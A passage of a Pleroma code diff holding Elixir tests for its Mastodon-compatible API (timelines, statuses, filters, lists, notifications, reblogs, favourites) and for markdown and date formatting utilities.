	text = "hello world\n\nanother paragraph"
	expected = "<p><strong>hello world</strong></p>\n<p><em>another paragraph</em></p>\n"

	{output, [], []} = Utils.format_input(text, "text/markdown")

	assert output == expected

	text = """
	> cool quote

	by someone
	"""

	expected = "<blockquote><p>cool quote</p>\n</blockquote>\n<p>by someone</p>\n"

	{output, [], []} = Utils.format_input(text, "text/markdown")

	assert output == expected
	end

	test "works for text/markdown with mentions" do
	{:ok, user} =
	UserBuilder.insert(%{nickname: "user__test", ap_id: "http://foo.com/user__test"})

	text = "hello world\n\nanother @user__test and @user__test google.com paragraph"

	expected =
	"<p><strong>hello world</strong></p>\n<p><em>another <span class=\"h-card\"><a data-user=\"#{
	user.id
	}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> and <span class=\"h-card\"><a data-user=\"#{
	user.id
	}\" class=\"u-url mention\" href=\"http://foo.com/user__test\">@<span>user__test</span></a></span> <a href=\"http://google.com\">google.com</a> paragraph</em></p>\n"

	{output, _, _} = Utils.format_input(text, "text/markdown")

	assert output == expected
	end
	end

	describe "context_to_conversation_id" do
	test "creates a mapping object" do
	conversation_id = Utils.context_to_conversation_id("random context")
	object = Object.get_by_ap_id("random context")

	assert conversation_id == object.id
	end

	test "returns an existing mapping for an existing object" do
	{:ok, object} = Object.context_mapping("random context") \|> Repo.insert()
	conversation_id = Utils.context_to_conversation_id("random context")

	assert conversation_id == object.id
	end
	end

	describe "formats date to asctime" do
	test "when date is in ISO 8601 format" do
	date = DateTime.utc_now() \|> DateTime.to_iso8601()

	expected =
	date
	\|> DateTime.from_iso8601()
	\|> elem(1)
	\|> Calendar.Strftime.strftime!("%a %b %d %H:%M:%S %z %Y")

	assert Utils.date_to_asctime(date) == expected
	end

	test "when date is a binary in wrong format" do
	date = DateTime.utc_now()

	expected = ""

	assert Utils.date_to_asctime(date) == expected
	end

	test "when date is a Unix timestamp" do
	date = DateTime.utc_now() \|> DateTime.to_unix()

	expected = ""

	assert Utils.date_to_asctime(date) == expected
	end

	test "when date is nil" do
	expected = ""

	assert Utils.date_to_asctime(nil) == expected
	end
	end
	end
	diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
	index 20efba665..6648b93f9 100644
	--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
	+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
	@@ -1,2823 +1,2867 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
	use Pleroma.Web.ConnCase

	alias Ecto.Changeset
	alias Pleroma.Activity
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.ScheduledActivity
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI.FilterView
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.Push
	alias Pleroma.Web.TwitterAPI.TwitterAPI
	import Pleroma.Factory
	import ExUnit.CaptureLog
	import Tesla.Mock

	setup do
	mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	test "the home timeline", %{conn: conn} do
	user = insert(:user)
	following = insert(:user)

	{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/home")

	assert Enum.empty?(json_response(conn, 200))

	{:ok, user} = User.follow(user, following)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/home")

	assert [%{"content" => "test"}] = json_response(conn, 200)
	end

	test "the public timeline", %{conn: conn} do
	following = insert(:user)

	capture_log(fn ->
	{:ok, _activity} = TwitterAPI.create_status(following, %{"status" => "test"})

	{:ok, [_activity]} =
	OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")

	conn =
	conn
	\|> get("/api/v1/timelines/public", %{"local" => "False"})

	assert length(json_response(conn, 200)) == 2

	conn =
	build_conn()
	\|> get("/api/v1/timelines/public", %{"local" => "True"})

	assert [%{"content" => "test"}] = json_response(conn, 200)

	conn =
	build_conn()
	\|> get("/api/v1/timelines/public", %{"local" => "1"})

	assert [%{"content" => "test"}] = json_response(conn, 200)
	end)
	end

	test "posting a status", %{conn: conn} do
	user = insert(:user)

	idempotency_key = "Pikachu rocks!"

	conn_one =
	conn
	\|> assign(:user, user)
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	{:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
	# Six hours
	assert ttl > :timer.seconds(6 * 60 * 60 - 1)

	assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
	json_response(conn_one, 200)

	assert Activity.get_by_id(id)

	conn_two =
	conn
	\|> assign(:user, user)
	\|> put_req_header("idempotency-key", idempotency_key)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	assert %{"id" => second_id} = json_response(conn_two, 200)

	assert id == second_id

	conn_three =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "cofe",
	"spoiler_text" => "2hu",
	"sensitive" => "false"
	})

	assert %{"id" => third_id} = json_response(conn_three, 200)

	refute id == third_id
	end

	test "posting a sensitive status", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})

	assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
	assert Activity.get_by_id(id)
	end

	test "posting a fake status", %{conn: conn} do
	user = insert(:user)

	real_conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" =>
	"\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
	})

	real_status = json_response(real_conn, 200)

	assert real_status
	assert Object.get_by_ap_id(real_status["uri"])

	real_status =
	real_status
	\|> Map.put("id", nil)
	\|> Map.put("url", nil)
	\|> Map.put("uri", nil)
	\|> Map.put("created_at", nil)
	\|> Kernel.put_in(["pleroma", "conversation_id"], nil)

	fake_conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" =>
	"\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
	"preview" => true
	})

	fake_status = json_response(fake_conn, 200)

	assert fake_status
	refute Object.get_by_ap_id(fake_status["uri"])

	fake_status =
	fake_status
	\|> Map.put("id", nil)
	\|> Map.put("url", nil)
	\|> Map.put("uri", nil)
	\|> Map.put("created_at", nil)
	\|> Kernel.put_in(["pleroma", "conversation_id"], nil)

	assert real_status == fake_status
	end

	test "posting a status with OGP link preview", %{conn: conn} do
	Pleroma.Config.put([:rich_media, :enabled], true)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{
	"status" => "http://example.com/ogp"
	})

	assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
	assert Activity.get_by_id(id)
	Pleroma.Config.put([:rich_media, :enabled], false)
	end

	test "posting a direct status", %{conn: conn} do
	user1 = insert(:user)
	user2 = insert(:user)
	content = "direct cofe @#{user2.nickname}"

	conn =
	conn
	\|> assign(:user, user1)
	\|> post("api/v1/statuses", %{"status" => content, "visibility" => "direct"})

	assert %{"id" => id, "visibility" => "direct"} = json_response(conn, 200)
	assert activity = Activity.get_by_id(id)
	assert activity.recipients == [user2.ap_id, user1.ap_id]
	assert activity.data["to"] == [user2.ap_id]
	assert activity.data["cc"] == []
	end

	test "direct timeline", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)

	{:ok, user_two} = User.follow(user_two, user_one)

	{:ok, direct} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "direct"
	})

	{:ok, _follower_only} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "private"
	})

	# Only direct should be visible here
	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct")

	[status] = json_response(res_conn, 200)

	assert %{"visibility" => "direct"} = status
	assert status["url"] != direct.data["id"]

	# User should be able to see his own direct message
	res_conn =
	build_conn()
	\|> assign(:user, user_one)
	\|> get("api/v1/timelines/direct")

	[status] = json_response(res_conn, 200)

	assert %{"visibility" => "direct"} = status

	# Both should be visible here
	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/home")

	[_s1, _s2] = json_response(res_conn, 200)

	# Test pagination
	Enum.each(1..20, fn _ ->
	{:ok, _} =
	CommonAPI.post(user_one, %{
	"status" => "Hi @#{user_two.nickname}!",
	"visibility" => "direct"
	})
	end)

	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct")

	statuses = json_response(res_conn, 200)
	assert length(statuses) == 20

	res_conn =
	conn
	\|> assign(:user, user_two)
	\|> get("api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})

	[status] = json_response(res_conn, 200)

	assert status["url"] != direct.data["id"]
	end

	test "doesn't include DMs from blocked users", %{conn: conn} do
	blocker = insert(:user)
	blocked = insert(:user)
	user = insert(:user)
	{:ok, blocker} = User.block(blocker, blocked)

	{:ok, _blocked_direct} =
	CommonAPI.post(blocked, %{
	"status" => "Hi @#{blocker.nickname}!",
	"visibility" => "direct"
	})

	{:ok, direct} =
	CommonAPI.post(user, %{
	"status" => "Hi @#{blocker.nickname}!",
	"visibility" => "direct"
	})

	res_conn =
	conn
	\|> assign(:user, user)
	\|> get("api/v1/timelines/direct")

	[status] = json_response(res_conn, 200)
	assert status["id"] == direct.id
	end

	test "replying to a status", %{conn: conn} do
	user = insert(:user)

	{:ok, replied_to} = TwitterAPI.create_status(user, %{"status" => "cofe"})

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})

	assert %{"content" => "xD", "id" => id} = json_response(conn, 200)

	activity = Activity.get_by_id(id)

	assert activity.data["context"] == replied_to.data["context"]
	assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
	end

	test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})

	assert %{"content" => "xD", "id" => id} = json_response(conn, 200)

	activity = Activity.get_by_id(id)

	assert activity
	end

	test "verify_credentials", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "verify_credentials default scope unlisted", %{conn: conn} do
	user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "unlisted"}})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "apps/verify_credentials", %{conn: conn} do
	token = insert(:oauth_token)

	conn =
	conn
	\|> assign(:user, token.user)
	\|> assign(:token, token)
	\|> get("/api/v1/apps/verify_credentials")

	app = Repo.preload(token, :app).app

	expected = %{
	"name" => app.client_name,
	"website" => app.website,
	"vapid_key" => Push.vapid_config() \|> Keyword.get(:public_key)
	}

	assert expected == json_response(conn, 200)
	end

	test "creates an oauth app", %{conn: conn} do
	user = insert(:user)
	app_attrs = build(:oauth_app)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/apps", %{
	client_name: app_attrs.client_name,
	redirect_uris: app_attrs.redirect_uris
	})

	[app] = Repo.all(App)

	expected = %{
	"name" => app.client_name,
	"website" => app.website,
	"client_id" => app.client_id,
	"client_secret" => app.client_secret,
	"id" => app.id \|> to_string(),
	"redirect_uri" => app.redirect_uris,
	"vapid_key" => Push.vapid_config() \|> Keyword.get(:public_key)
	}

	assert expected == json_response(conn, 200)
	end

	test "get a status", %{conn: conn} do
	activity = insert(:note_activity)

	conn =
	conn
	\|> get("/api/v1/statuses/#{activity.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(activity.id)
	end

	describe "deleting a status" do
	test "when you created it", %{conn: conn} do
	activity = insert(:note_activity)
	author = User.get_cached_by_ap_id(activity.data["actor"])

	conn =
	conn
	\|> assign(:user, author)
	\|> delete("/api/v1/statuses/#{activity.id}")

	assert %{} = json_response(conn, 200)

	refute Activity.get_by_id(activity.id)
	end

	test "when you didn't create it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/statuses/#{activity.id}")

	assert %{"error" => _} = json_response(conn, 403)

	assert Activity.get_by_id(activity.id) == activity
	end

	test "when you're an admin or moderator", %{conn: conn} do
	activity1 = insert(:note_activity)
	activity2 = insert(:note_activity)
	admin = insert(:user, info: %{is_admin: true})
	moderator = insert(:user, info: %{is_moderator: true})

	res_conn =
	conn
	\|> assign(:user, admin)
	\|> delete("/api/v1/statuses/#{activity1.id}")

	assert %{} = json_response(res_conn, 200)

	res_conn =
	conn
	\|> assign(:user, moderator)
	\|> delete("/api/v1/statuses/#{activity2.id}")

	assert %{} = json_response(res_conn, 200)

	refute Activity.get_by_id(activity1.id)
	refute Activity.get_by_id(activity2.id)
	end
	end

	describe "filters" do
	test "creating a filter", %{conn: conn} do
	user = insert(:user)

	filter = %Pleroma.Filter{
	phrase: "knights",
	context: ["home"]
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/filters", %{"phrase" => filter.phrase, context: filter.context})

	assert response = json_response(conn, 200)
	assert response["phrase"] == filter.phrase
	assert response["context"] == filter.context
	assert response["id"] != nil
	assert response["id"] != ""
	end

	test "fetching a list of filters", %{conn: conn} do
	user = insert(:user)

	query_one = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 1,
	phrase: "knights",
	context: ["home"]
	}

	query_two = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "who",
	context: ["home"]
	}

	{:ok, filter_one} = Pleroma.Filter.create(query_one)
	{:ok, filter_two} = Pleroma.Filter.create(query_two)

	response =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/filters")
	\|> json_response(200)

	assert response ==
	render_json(
	FilterView,
	"filters.json",
	filters: [filter_two, filter_one]
	)
	end

	test "get a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/filters/#{filter.filter_id}")

	assert _response = json_response(conn, 200)
	end

	test "update a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, _filter} = Pleroma.Filter.create(query)

	new = %Pleroma.Filter{
	phrase: "nii",
	context: ["home"]
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/filters/#{query.filter_id}", %{
	phrase: new.phrase,
	context: new.context
	})

	assert response = json_response(conn, 200)
	assert response["phrase"] == new.phrase
	assert response["context"] == new.context
	end

	test "delete a filter", %{conn: conn} do
	user = insert(:user)

	query = %Pleroma.Filter{
	user_id: user.id,
	filter_id: 2,
	phrase: "knight",
	context: ["home"]
	}

	{:ok, filter} = Pleroma.Filter.create(query)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/filters/#{filter.filter_id}")

	assert response = json_response(conn, 200)
	assert response == %{}
	end
	end

	describe "lists" do
	test "creating a list", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/lists", %{"title" => "cuties"})

	assert %{"title" => title} = json_response(conn, 200)
	assert title == "cuties"
	end

	test "adding users to a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert %{} == json_response(conn, 200)
	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [other_user.follower_address]
	end

	test "removing users from a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	third_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)
	{:ok, list} = Pleroma.List.follow(list, third_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert %{} == json_response(conn, 200)
	%Pleroma.List{following: following} = Pleroma.List.get(list.id, user)
	assert following == [third_user.follower_address]
	end

	test "listing users in a list", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}/accounts", %{"account_ids" => [other_user.id]})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "retrieving a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/lists/#{list.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(list.id)
	end

	test "renaming a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/v1/lists/#{list.id}", %{"title" => "newname"})

	assert %{"title" => name} = json_response(conn, 200)
	assert name == "newname"
	end

	test "deleting a list", %{conn: conn} do
	user = insert(:user)
	{:ok, list} = Pleroma.List.create("name", user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/api/v1/lists/#{list.id}")

	assert %{} = json_response(conn, 200)
	assert is_nil(Repo.get(Pleroma.List, list.id))
	end

	test "list timeline", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, _activity_one} = TwitterAPI.create_status(user, %{"status" => "Marisa is cute."})
	{:ok, activity_two} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})
	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/list/#{list.id}")

	assert [%{"id" => id}] = json_response(conn, 200)

	assert id == to_string(activity_two.id)
	end

	test "list timeline does not leak non-public statuses for unfollowed users", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, activity_one} = TwitterAPI.create_status(other_user, %{"status" => "Marisa is cute."})

	{:ok, _activity_two} =
	TwitterAPI.create_status(other_user, %{
	"status" => "Marisa is cute.",
	"visibility" => "private"
	})

	{:ok, list} = Pleroma.List.create("name", user)
	{:ok, list} = Pleroma.List.follow(list, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/timelines/list/#{list.id}")

	assert [%{"id" => id}] = json_response(conn, 200)

	assert id == to_string(activity_one.id)
	end
	end

	describe "notifications" do
	test "list of notifications", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [_notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/notifications")

	expected_response =
	"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
	user.ap_id
	}\">@<span>#{user.nickname}</span></a></span>"

	assert [%{"status" => %{"content" => response}} \| _rest] = json_response(conn, 200)
	assert response == expected_response
	end

	test "getting a single notification", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/notifications/#{notification.id}")

	expected_response =
	"hi <span class=\"h-card\"><a data-user=\"#{user.id}\" class=\"u-url mention\" href=\"#{
	user.ap_id
	}\">@<span>#{user.nickname}</span></a></span>"

	assert %{"status" => %{"content" => response}} = json_response(conn, 200)
	assert response == expected_response
	end

	test "dismissing a single notification", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/notifications/dismiss", %{"id" => notification.id})

	assert %{} = json_response(conn, 200)
	end

	test "clearing all notifications", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity} =
	TwitterAPI.create_status(other_user, %{"status" => "hi @#{user.nickname}"})

	{:ok, [_notification]} = Notification.create_notifications(activity)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/notifications/clear")

	assert %{} = json_response(conn, 200)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/notifications")

	assert all = json_response(conn, 200)
	assert all == []
	end

	test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
	{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
	{:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
	{:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})

	notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id \|> to_string()
	notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id \|> to_string()
	notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id \|> to_string()
	notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id \|> to_string()

	conn =
	conn
	\|> assign(:user, user)

	# min_id
	conn_res =
	conn
	\|> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result

	# since_id
	conn_res =
	conn
	\|> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result

	# max_id
	conn_res =
	conn
	\|> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result
	end

	test "filters notifications using exclude_types", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"})
	{:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"})
	{:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user)
	{:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user)
	{:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user)

	mention_notification_id =
	Repo.get_by(Notification, activity_id: mention_activity.id).id \|> to_string()

	favorite_notification_id =
	Repo.get_by(Notification, activity_id: favorite_activity.id).id \|> to_string()

	reblog_notification_id =
	Repo.get_by(Notification, activity_id: reblog_activity.id).id \|> to_string()

	follow_notification_id =
	Repo.get_by(Notification, activity_id: follow_activity.id).id \|> to_string()

	conn =
	conn
	\|> assign(:user, user)

	conn_res =
	get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]})

	assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200)

	conn_res =
	get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]})

	assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200)

	conn_res =
	get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]})

	assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200)

	conn_res =
	get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]})

	assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200)
	end

	test "destroy multiple", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
	{:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"})
	{:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})
	{:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"})

	notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id \|> to_string()
	notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id \|> to_string()
	notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id \|> to_string()
	notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id \|> to_string()

	conn =
	conn
	\|> assign(:user, user)

	conn_res =
	conn
	\|> get("/api/v1/notifications")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result

	conn2 =
	conn
	\|> assign(:user, other_user)

	conn_res =
	conn2
	\|> get("/api/v1/notifications")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result

	conn_destroy =
	conn
	\|> delete("/api/v1/notifications/destroy_multiple", %{
	"ids" => [notification1_id, notification2_id]
	})

	assert json_response(conn_destroy, 200) == %{}

	conn_res =
	conn2
	\|> get("/api/v1/notifications")

	result = json_response(conn_res, 200)
	assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result
	end
	end

	describe "reblogging" do
	test "reblogs and returns the reblogged status", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/reblog")

	assert %{
	"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
	"reblogged" => true
	} = json_response(conn, 200)

	assert to_string(activity.id) == id
	end

	test "reblogged status for another user", %{conn: conn} do
	activity = insert(:note_activity)
	user1 = insert(:user)
	user2 = insert(:user)
	user3 = insert(:user)
	+ CommonAPI.favorite(activity.id, user2)
	+ {:ok, user2} = User.bookmark(user2, activity.data["object"]["id"])
	{:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1)
	{:ok, _, _object} = CommonAPI.repeat(activity.id, user2)

	conn_res =
	conn
	\|> assign(:user, user3)
	\|> get("/api/v1/statuses/#{reblog_activity1.id}")

	assert %{
	"reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2},
	- "reblogged" => false
	+ "reblogged" => false,
	+ "favourited" => false,
	+ "bookmarked" => false
	} = json_response(conn_res, 200)

	conn_res =
	conn
	\|> assign(:user, user2)
	\|> get("/api/v1/statuses/#{reblog_activity1.id}")

	assert %{
	"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
	- "reblogged" => true
	+ "reblogged" => true,
	+ "favourited" => true,
	+ "bookmarked" => true
	} = json_response(conn_res, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "unreblogging" do
	test "unreblogs and returns the unreblogged status", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	{:ok, _, _} = CommonAPI.repeat(activity.id, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unreblog")

	assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "favoriting" do
	test "favs a status and returns it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/favourite")

	assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
	json_response(conn, 200)

	assert to_string(activity.id) == id
	end

	test "returns 500 for a wrong id", %{conn: conn} do
	user = insert(:user)

	resp =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/1/favourite")
	\|> json_response(500)

	assert resp == "Something went wrong"
	end
	end

	describe "unfavoriting" do
	test "unfavorites a status and returns it", %{conn: conn} do
	activity = insert(:note_activity)
	user = insert(:user)

	{:ok, _, _} = CommonAPI.favorite(activity.id, user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unfavourite")

	assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
	json_response(conn, 200)

	assert to_string(activity.id) == id
	end
	end

	describe "user timelines" do
	test "gets a users statuses", %{conn: conn} do
	user_one = insert(:user)
	user_two = insert(:user)
	user_three = insert(:user)

	{:ok, user_three} = User.follow(user_three, user_one)

	{:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})

	{:ok, direct_activity} =
	CommonAPI.post(user_one, %{
	"status" => "Hi, @#{user_two.nickname}.",
	"visibility" => "direct"
	})

	{:ok, private_activity} =
	CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})

	resp =
	conn
